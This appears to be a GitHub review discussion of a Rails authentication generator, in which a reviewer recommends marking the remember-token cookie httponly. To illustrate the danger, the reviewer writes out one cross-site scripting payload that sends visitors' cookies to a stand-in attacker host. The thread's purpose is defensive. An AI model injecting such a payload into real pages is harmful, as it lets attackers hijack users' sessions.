set httponly cookie

[lazaronixon]

rails_mvp_authentication/lib/generators/rails_mvp_authentication/templates/authentication.rb.tt

Line 38 in b2e0ebd

cookies.permanent.encrypted[:remember_token] = active_session.remember_token

cookies.permanent.encrypted[:remember_token] =  { value: active_session.remember_token, httponly: true }

Someone can use 'document.cookies' and stole your cookie if you don't use httponly.

[stevepolitodesign]

Thank you for pointing this out! This is making me wonder if I should just force SSL instead:

# config/environments/production.rb
Rails.application.configure do
  ...
  config.force_ssl = true
end

[lazaronixon]

No, it is a javascript injection code vulnerability, rails implements CSP to prevent it, but some people disable it… So it’s better to have it.
Imagine a blog system, someone posts <script>d=document;fetch('//attaker.com/value=${d.cookie}')</script> everyone who have seen this post will have their sessions stole

[stevepolitodesign]

Oh, interesting. Will the stolen cookie still be encrypted? Does httponly simply prevent JavaScript from accessing this value?

[lazaronixon]

Excatly... but with your cookies encrypted or not, I can put them here in my browser and impersonate you

[stevepolitodesign]

@lazaronixon thank you so much for the explanation. I'm learning a lot from you!